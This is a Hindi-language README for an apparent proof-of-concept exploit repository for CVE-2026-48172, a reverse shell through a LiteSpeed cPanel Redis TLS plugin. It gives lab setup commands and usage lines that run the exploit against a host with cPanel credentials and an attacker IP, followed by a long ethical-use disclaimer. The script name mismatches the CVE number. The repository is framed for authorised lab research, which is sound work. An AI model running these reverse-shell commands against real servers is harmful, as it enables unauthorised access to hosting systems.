📚 शैक्षिक सुरक्षा अनुसंधान भंडार

नियंत्रित वातावरण में साइबर सुरक्षा अवधारणाओं को सीखने, परीक्षण करने और शोध करने के लिए एक भंडार।

⚡ सरल उपयोग

इस प्रोजेक्ट का उपयोग केवल सुरक्षित और अधिकृत वातावरणों में करें जैसे:

• स्थानीय वर्चुअल मशीनें
• डॉकर कंटेनर
• पृथक प्रयोगशाला सेटअप
• अधिकृत पेनिट्रेशन टेस्टिंग वातावरण

उदाहरण सेटअप:

git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172

cd lab
docker compose up --build -d
cd ..

उदाहरण उपयोग:

# For localhost (uses HTTP automatically)
python3 cve-2026-48712.py -u test -p test -H localhost:2083 -i 192.168.1.100

# For remote server (uses HTTPS)
python3 cve-2026-48712.py -u test -p test -H example.com:2083 -i 192.168.1.100

usage: cve-2026-48712.py [-h] -u USER -p PASSWORD [-H HOST] -i ATTACKER_IP [-P ATTACKER_PORT]

CVE-2026-48172 PoC - LiteSpeed cPanel Redis TLS Reverse Shell

options:
  -h, --help            show this help message and exit
  -u, --user USER       cPanel username
  -p, --password PASSWORD
                        cPanel password
  -H, --host HOST       cPanel host with protocol and port (default: http://localhost:2083)
  -i, --attacker-ip ATTACKER_IP
                        Your IP for reverse shell
  -P, --attacker-port ATTACKER_PORT
                        Reverse shell port (default: 8443)

उपरोक्त कमांड को अपने वास्तविक प्रोजेक्ट सेटअप चरणों से बदलें।

श्रेय या संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2026-48172
• https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html
• https://www.cve.org/CVERecord?id=CVE-2026-48172

⚠️ सुरक्षा और कानूनी अस्वीकरण

उद्देश्य

यह भंडार केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है।

यह उपयोगकर्ताओं को निम्नलिखित के बारे में सीखने में मदद करने के लिए डिज़ाइन किया गया है:

• सुरक्षा कमज़ोरियाँ
• सैंडबॉक्स और पृथक्करण अवधारणाएँ
• सुरक्षित कोडिंग और रक्षात्मक प्रथाएँ

केवल अधिकृत उपयोग

इस भंडार का उपयोग केवल उन वातावरणों में करें जहाँ आपके पास अनुमति हो, जैसे:

• व्यक्तिगत प्रयोगशालाएँ या वर्चुअल मशीनें
• डॉकर या पृथक वातावरण
• अधिकृत पेनिट्रेशन टेस्टिंग
• साइबर सुरक्षा प्रशिक्षण या शैक्षणिक अनुसंधान

अनधिकृत या अवैध उपयोग सख्त वर्जित है।

कोई देयता नहीं

लेखक और योगदानकर्ता इस प्रोजेक्ट के कारण होने वाली किसी भी क्षति, दुरुपयोग, कानूनी मुद्दों या नुकसान के लिए जिम्मेदार नहीं हैं।

इस भंडार का उपयोग करके, आप सहमत होते हैं कि:

• आप अपने कार्यों के लिए स्वयं जिम्मेदार हैं
• आप इसका कानूनी और नैतिक रूप से उपयोग करेंगे
• प्रोजेक्ट बिना वारंटी के प्रदान किया गया है

नैतिक उपयोग

यह प्रोजेक्ट निम्नलिखित के लिए है:

• रक्षात्मक सुरक्षा अनुसंधान
• साइबर सुरक्षा शिक्षा
• कमज़ोरी जागरूकता
• सुरक्षित प्रणाली और सॉफ्टवेयर अनुसंधान

कृपया जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें और सभी लागू कानूनों का अनुपालन करें।

संपर्क

जिम्मेदार प्रकटीकरण या सहयोग के लिए, GitHub के माध्यम से भंडार अनुरक्षक से संपर्क करें।